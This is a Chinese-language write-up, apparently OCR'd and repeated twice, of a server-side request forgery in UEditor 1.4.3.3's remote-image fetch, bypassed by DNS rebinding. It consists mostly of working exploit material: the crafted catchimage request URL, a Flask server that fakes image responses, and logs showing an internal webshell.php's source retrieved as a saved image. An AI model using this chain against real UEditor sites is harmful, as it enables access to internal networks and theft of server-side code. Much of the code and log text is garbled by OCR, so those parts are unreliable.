# **Ueditor Version 1.4.3.3 SSRF**

点以前挖的洞。Ueditor 是支持获取远程图片,较为经典的进行限制 url 请求,但是可以通过 DNS 重绑定绕过其验证.

## 代码分析

一般请求的 url 如下, 其中 source 为数组, 值为图片地址:

```
/editor/ueditor/php/controller.php?
action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh 023odCf/static/superman/img/logo top 86
d58ae1.png
主要跟踪这段代码: /php/Uploader. class. php: 173
private function saveRemote()
    $imgUrl = htmlspecialchars($this->fileField);
    $imgUrl = str replace("&", "&", $imgUrl);
    //http开头验证
    if (strpos($imgUrl, "http") !== 0) {
        $this->stateInfo = $this->getStateInfo("ERROR HTTP LINK");
        return;
    preg_match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches);
    $host_with_protocol = count($matches) > 1 ? $matches[1] : '';
    // 判断是否是合法 url
```

```
if (!filter var($host with protocol, FILTER VALIDATE URL)) {
       $this->stateInfo = $this->getStateInfo("INVALID URL");
       return;
   }
   preg match('/^https*:\/\/(.+)/', $host with protocol, $matches);
   $host without protocol = count($matches) > 1 ? $matches[1] : '';
   // 此时提取出来的可能是 ip 也有可能是域名, 先获取 ip
   $ip = gethostbyname($host without protocol);
   // 判断是否是私有 ip
   if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
       $this->stateInfo = $this->getStateInfo("INVALID IP");
       return;
   }
   //获取请求头并检测死链
   $heads = get headers($imgUrl, 1);
   if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
       $this->stateInfo = $this->getStateInfo("ERROR DEAD LINK");
       return;
   //格式验证(扩展名验证和Content-Type验证)
   $fileType = strtolower(strrchr($imgUrl, '.'));
   if (!in array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
!stristr($heads['Content-Type'], "image")) {
       $this->stateInfo = $this->getStateInfo("ERROR HTTP CONTENTTYPE");
       return;
   }
   //打开输出缓冲区并获取远程图片
   ob start();
   $context = stream context create(
       array('http' => array(
           'follow location' => false // don't follow redirects
       ))
   );
```

```
readfile($imgUrl, false, $context);
$img = ob_get_contents();
ob_end_clean();
...省略
}
```

#### 整个流程大概如下:

- 1、判断是否是合法 http 的 url 地址
- 2、利用 gethostbyname 来解析判断是否是内网 IP
- 3、利用 get\_headers 进行 http 请求,来判断请求的图片资源是否正确,比如状态码为 200、响应 content-type 是否为 image (SSRF 漏洞触发处)
- 4、最终用 readfile 来进行最后的资源获取,来获取图片内容

所以在利用 DNS 重绑定时候,我们可以这样做

第一次请求 -> 外网 ip

第二次请求 -> 内网 ip

第三次请求 -> 内网 ip

### 1.4.3.3 DNS 重绑定利用过程

其实单纯的第二次就已经有了 HTTP 请求, 所以可以很容易的进行一些攻击.

/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png

其中 my.ip 设置了重绑定

第一次 dns 请求是调用了 gethostbyname 函数 -> 外网 ip

第二次 dns 请求是调用了 get headers 函数 -> 内网 ip

```
$ sudo python -m SimpleHTTPServer 80

Password:

Serving HTTP on 0.0.0.0 port 80 ...

10.211.55.3 - [28/0ct/2018 01:11:45] "GET /logo.png HTTP/1.0" 200 -

10.211.55.3 - [28/0ct/2018 01:11:56] "GET /?aaa=1 HTTP/1.0" 200 -

10.211.55.3 - [28/0ct/2018 01:12:05] "GET /?aaa=1&logo.png HTTP/1.0" 200 -

10.211.55.3 - [28/0ct/2018 01:12:31] "GET /?aaa=1 HTTP/1.0" 200 -
```

其中返回内容 state 为 链接contentType不正确 ,表示请求成功了! 如果返回为 非法 IP 则表示 DNS 重绑定时候第一次是为内网 IP ,这时需要调整一下绑定顺序.

但是会剩一个问题就是: 能不能获取到 SSRF 请求后的回显内容! 第三个请求便可以做到,因为会将请求的内容保存为图片,我们获取图片内容即可.

但是得先把第二次请求限制绕过

```
!(stristr($heads[0], "200") && stristr($heads[0], "OK"))
!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
!stristr($heads['Content-Type'], "image")
```

这两个条件语句也就是限定了请求得需要为 200 状态、并且响应头的 content-type 是 image 所以第二次请求最好是我们可控的服务器,这样才能绕过它的限制。

```
所以在利用DNS重绑定时候,我们可以这样做第一次请求 -> 外网ip
第二次请求 -> 外网ip (外网server)
第三次请求 -> 内网ip (内网攻击地址)
```

第二次请求的外网 server 需要定制一下,也就任何请求都返回 200,并且 content-type 为 image

```
from flask import Flask, Response
from werkzeug.routing import BaseConverter
class Regex_url(BaseConverter):
   def __init__(self,url map,*args):
       super(Regex url,self). init (url map)
       self.regex = args[0]
app = Flask( name )
app.url map.converters['re'] = Regex url
@app.route('/<re(".*?"):tmp>')
def test(tmp):
   image = 'Test'
   #image = file("demo.jpg")
   resp = Response(image, mimetype="image/jpeg")
    return resp
if __name__ == '__main__':
   app.run(host='0.0.0.0',port=80)
```

```
s curl -vv http://127.0.0.1/aa.php\?asdasdjqh1\=3adsasd
  Trying 127.0.0.1...
 TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.54.0
> Accept: */*
* HTTP 1.0. assume close after body
k HTTP/1.0 200 OK
c Content-Type: image/jpeg
< Content-Length: 4
< Server: Werkzeug/0.11.9 Python/2.7.12
< Date: Sun, 28 Oct 2018 10:26:55 GMT
* Closing connection 0
Test%
 _13m0n@13m0ndeMacBook-Pro ~/Desktop/src
 ~13m0n@13m0ndeMacBook-Pro ~
 $ sudo python ssrf_server.py
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
127.0.0.1 - - [28/Oct/2018 18:25:56] "GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1" 200 -
127.0.0.1 - - [28/Oct/2018 18:26:55] "GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1" 200 -
```

上面的都是一些理论的说明,事实上,有些 DNS 会存在缓存问题,导致出现出现结果很不稳定。

第一步: 搭建后外网的 server, 左边的为第二次请求 (外网), 右边为第三次请求 (内网)

```
[root@118 tools]# python3 sarf_server.py
* Serving Flask app "sarf_server" (lazy loading)
* Serving Flask app "sarf_server" (lazy loading)
* Serving ment: production sample (lazy loading)
* Serving ment: production sample (lazy loading)
* Serving HTTP on 0,0,0,0 port 80 ...
* Debug mode: off
* Running on http://0,0,0,0:88/ (Press CTRL+C to quit)
* Running on http://0,0,0,0:88/ (Press CTRL+C to quit)
* Serving HTTP/1.0" 200 -
* Debug mode: off
* Running on http://0,0,0,0:88/ (Press CTRL+C to quit)
* The sample of t
```

#### 第二步: 进行请求, 其中网址是有 dns 重绑定

```
HTTP/1.1 200 OK
 Server: nginx/1.4.6 (Ubuntu)
                                                                                                                                                                                                                                                                                    Date: Sun, 28 Oct 2018 16:15:59 GMT
Content-Type: text/html; charset=utf-8
  Host: love.lemon
  Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                                                                                                     Content-Length: 447
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6)
ApplewebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                    X-Powered-By: PHP/5.5.9-1ubuntu4.25
  Safari/537.36
                                                                                                                                                                                                                                                                                     Vary: Accept-Encoding
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap
text/ntml,appitetton/ntml.mm.,npp.

ng,*/*;g=0.8
Accept-Encoding; gzip, deflate
Accept-Enquage; zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: mediawiki_1_31_mdUserName=Lemonabcd
                                                                                                                                                                                                                                                                                    <b>Notice</b>: date_default_timezone_set(): Timezone ID
'Asia/chonqqinq' is invalid in
                                                                                                                                                                                                                                                                                      <br/>

                                                                                                                                                                                                                                                                                     <b>4</b><br />
                                                                                                                                                                                                                                                                                      {"state": "SUCCESS", "list": [{"state": "SUCCESS", "url": "\/ueditor\/php\/upl
  Connection: close
                                                                                                                                                                                                                                                                                      oad\/image\/20181029\/1540743359441649.png", "size":1775, "title": "1540743
                                                                                                                                                                                                                                                                                   359441649.png", "original": "webshell.php?a=1&demo.png", "source": "http:///!ddff.df = wln.pw/webshell.php?a=1&demo.png"}]}
```

第三步: 可以根据返回的图片地址,请求后便可以获取到内网 web 的 ssrf 的响应内容

```
scurl -vv http://love.lemon:82//ueditor//php//upload//image//20181029//1540743359441649.png[54.
  Trying 10.211.55.4...
 TCP_NODELAY set
* Connected to love.lemon (10.211.55.4) port 82 (#0)
> GET //ueditor//php//upload//image//20181029//1540743359441649.png HTTP/1.1
> Host: love.lemon:82
> User-Agent: curl/7.54.0
> Accept: */*
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Sun, 28 Oct 2018 16:18:43 GMT
< Content-Type: image/png
< Content-Length: 1775
< Last-Modified: Sun, 28 Oct 2018 16:15:59 GMT
< Connection: keep-alive
< ETag: "5bd5e0bf-6ef"
< Accept-Ranges: bytes
<?php
/----
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
```

know it then do it

点以前挖的洞。Ueditor 是支持获取远程图片,较为经典的进行限制 url 请求,但是可以通过 DNS 軍绑定绕过其验证.

## 代码分析

一般请求的 url 如下,其中 source 为数组,值为图片地址:

```
/editor/ueditor/php/controller.php?
action=catchimage&source[]=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superman/img/logo_top_86
d58ae1.png
```

```
private function saveRemote()
   $imgUrl = htmlspecialchars($this->fileField);
   $imgUrl = str replace("&", "&", $imgUrl);
   //http开头验证
   if (strpos($imgUrl, "http") !== 0) {
       $this->stateInfo = $this->getStateInfo("ERROR HTTP LINK");
       return;
   }
   preg match('/(^https*:\/\/[^:\/]+)/', $imgUrl, $matches);
   $host with protocol = count($matches) > 1 ? $matches[1] : '';
   // 判断是否是合法 url
   if (!filter var($host with protocol, FILTER VALIDATE URL)) {
       $this->stateInfo = $this->getStateInfo("INVALID URL");
       return;
   }
   preg match('/^https*:\/\/(.+)/', $host with protocol, $matches);
   $host without protocol = count($matches) > 1 ? $matches[1] : '';
   // 此时提取出来的可能是 ip 也有可能是域名, 先获取 ip
   $ip = gethostbyname($host without protocol);
   // 判断是否是私有 ip
   if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
       $this->stateInfo = $this->getStateInfo("INVALID IP");
       return;
   }
   //获取请求头并检测死链
   $heads = get_headers($imgUrl, 1);
   if (!(stristr($heads[0], "200") && stristr($heads[0], "OK"))) {
       $this->stateInfo = $this->getStateInfo("ERROR_DEAD_LINK");
```

```
return;
   //格式验证(扩展名验证和Content-Type验证)
   $fileType = strtolower(strrchr($imgUrl, '.'));
   if (!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
!stristr($heads['Content-Type'], "image")) {
       $this->stateInfo = $this->getStateInfo("ERROR_HTTP_CONTENTTYPE");
       return;
   //打开输出缓冲区并获取远程图片
   ob start();
   $context = stream context create(
       array('http' => array(
           'follow location' => false // don't follow redirects
       ))
   );
   readfile($imgUrl, false, $context);
   $img = ob get contents();
   ob_end_clean();
   ...省略
```

#### 整个流程大概如下:

- 1、判断是否是合法 http 的 url 地址
- 2、利用 gethostbyname 来解析判断是否是内网 IP
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- 4、最终用 readfile 来进行最后的资源获取,来获取图片内容

所以在利用 DNS 重绑定时候,我们可以这样做

第一次请求 -> 外网 ip

第二次请求 -> 内网 ip

第三次请求 -> 内网 ip

### 1.4.3.3 DNS 重绑定利用过程

其实单纯的第二次就已经有了 HTTP 请求, 所以可以很容易的进行一些攻击.

```
/editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.png
```

其中 my.ip 设置了重绑定

第一次 dns 请求是调用了 gethostbyname 函数 -> 外网 ip

第二次 dns 请求是调用了 get\_headers 函数 -> 内网 ip

```
$ sudo python -m SimpleHTTPServer 80

Password:

Serving HTTP on 0.0.0.0 port 80 ...

10.211.55.3 - [28/0ct/2018 01:11:45] "GET /logo.png HTTP/1.0" 200 -

10.211.55.3 - [28/0ct/2018 01:11:56] "GET /?aaa=1 HTTP/1.0" 200 -

10.211.55.3 - [28/0ct/2018 01:12:05] "GET /?aaa=1&logo.png HTTP/1.0" 200 -

10.211.55.3 - [28/0ct/2018 01:12:31] "GET /?aaa=1 HTTP/1.0" 200 -
```

其中返回内容 state 为 链接contentType不正确 ,表示请求成功了! 如果返回为 非法 IP 则表示 DNS 重绑定时候第一次是为内网 IP ,这时需要调整一下绑定顺序.

但是会剩一个问题就是: 能不能获取到 SSRF 请求后的回显内容! 第三个请求便可以做到,因为会将请求的内容保存为图片,我们获取图片内容即可.

但是得先把第二次请求限制绕过

```
!(stristr($heads[0], "200") && stristr($heads[0], "OK"))
!in_array($fileType, $this->config['allowFiles']) || !isset($heads['Content-Type']) ||
!stristr($heads['Content-Type'], "image")
```

这两个条件语句也就是限定了请求得需要为 200 状态、并且响应头的 content-type 是 image 所以第二次请求最好是我们可控的服务器,这样才能绕过它的限制.

```
所以在利用DNS重绑定时候,我们可以这样做第一次请求 -> 外网ip
第二次请求 -> 外网ip (外网server)
第三次请求 -> 内网ip (内网攻击地址)
```

第二次请求的外网 server 需要定制一下,也就任何请求都返回 200,并且 content-type 为 image

```
from flask import Flask, Response
from werkzeug.routing import BaseConverter
class Regex_url(BaseConverter):
   def __init__(self,url map,*args):
       super(Regex url, self). init (url map)
       self.regex = args[0]
app = Flask( name )
app.url map.converters['re'] = Regex url
@app.route('/<re(".*?"):tmp>')
def test(tmp):
   image = 'Test'
   #image = file("demo.jpg")
   resp = Response(image, mimetype="image/jpeg")
   return resp
if name == ' main ':
   app.run(host='0.0.0.0',port=80)
```

```
s curl -vv http://127.0.0.1/aa.php\?asdasdjqh1\=3adsasd
  Trying 127.0.0.1...
 TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.54.0
> Accept: */*
* HTTP 1.0. assume close after body
k HTTP/1.0 200 OK
c Content-Type: image/jpeg
< Content-Length: 4
< Server: Werkzeug/0.11.9 Python/2.7.12
< Date: Sun, 28 Oct 2018 10:26:55 GMT
* Closing connection 0
Test%
 _13m0n@13m0ndeMacBook-Pro ~/Desktop/src
 ~13m0n@13m0ndeMacBook-Pro ~
 $ sudo python ssrf_server.py
 * Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
127.0.0.1 - - [28/Oct/2018 18:25:56] "GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1" 200 -
127.0.0.1 - - [28/Oct/2018 18:26:55] "GET /aa.php?asdasdjqh1=3adsasd HTTP/1.1" 200 -
```

上面的都是一些理论的说明,事实上,有些 DNS 会存在缓存问题,导致出现出现结果很不稳定。

第一步: 搭建后外网的 server, 左边的为第二次请求 (外网), 右边为第三次请求 (内网)

```
[root@118 tools]# python3 sarf_server.py
* Serving Flask app "sarf_server" (lazy loading)
* Serving Flask app "sarf_server" (lazy loading)
* Serving ment: production sample (lazy loading)
* Serving ment: production sample (lazy loading)
* Serving HTTP on 0,0,0,0 port 80 ...
* Debug mode: off
* Running on http://0,0,0,0:88/ (Press CTRL+C to quit)
* Running on http://0,0,0,0:88/ (Press CTRL+C to quit)
* Serving HTTP/1.0" 200 -
* Debug mode: off
* Running on http://0,0,0,0:88/ (Press CTRL+C to quit)
* The sample of t
```

#### 第二步: 进行请求, 其中网址是有 dns 重绑定

```
HTTP/1.1 200 OK
 Server: nginx/1.4.6 (Ubuntu)
                                                                                                                                                                                                                                                                                    Date: Sun, 28 Oct 2018 16:15:59 GMT
Content-Type: text/html; charset=utf-8
  Host: love.lemon
  Upgrade-Insecure-Requests: 1
                                                                                                                                                                                                                                                                                     Content-Length: 447
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6)
ApplewebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100
                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                    X-Powered-By: PHP/5.5.9-1ubuntu4.25
  Safari/537.36
                                                                                                                                                                                                                                                                                     Vary: Accept-Encoding
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/ap
text/ntml,appitetton/ntml.mm.,npp.

ng,*/*;g=0.8
Accept-Encoding; gzip, deflate
Accept-Enquage; zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: mediawiki_1_31_mdUserName=Lemonabcd
                                                                                                                                                                                                                                                                                    <b>Notice</b>: date_default_timezone_set(): Timezone ID
'Asia/chonqqinq' is invalid in
                                                                                                                                                                                                                                                                                      <br/>

                                                                                                                                                                                                                                                                                     <b>4</b><br />
                                                                                                                                                                                                                                                                                      {"state": "SUCCESS", "list": [{"state": "SUCCESS", "url": "\/ueditor\/php\/upl
  Connection: close
                                                                                                                                                                                                                                                                                      oad\/image\/20181029\/1540743359441649.png", "size":1775, "title": "1540743
                                                                                                                                                                                                                                                                                   359441649.png", "original": "webshell.php?a=1&demo.png", "source": "http:///!ddff.df = wln.pw/webshell.php?a=1&demo.png"}]}
```

第三步: 可以根据返回的图片地址,请求后便可以获取到内网 web 的 ssrf 的响应内容

```
surl -vv http://love.lemon:82//ueditor//php//upload//image//20181029//1540743359441649.png 54
* Trying 10.211.55.4...
* TCP_NODELAY set
* Connected to love.lemon (10.211.55.4) port 82 (#0)
> GET //ueditor//php//upload//image//20181029//1540743359441649.png HTTP/1.1
> Host: love.lemon:82
> User-Agent: curl/7.54.0
> Accept: */*
< HTTP/1.1 200 OK
< Server: nginx/1.4.6 (Ubuntu)
< Date: Sun, 28 Oct 2018 16:18:43 GMT
< Content-Type: image/png
< Content-Length: 1775
< Last-Modified: Sun, 28 Oct 2018 16:15:59 GMT
< Connection: keep-alive
< ETag: "5bd5e0bf-6ef"
< Accept-Ranges: bytes
<?php
/---
error_reporting(0);
ignore_user_abort(true);
set_time_limit(0);
```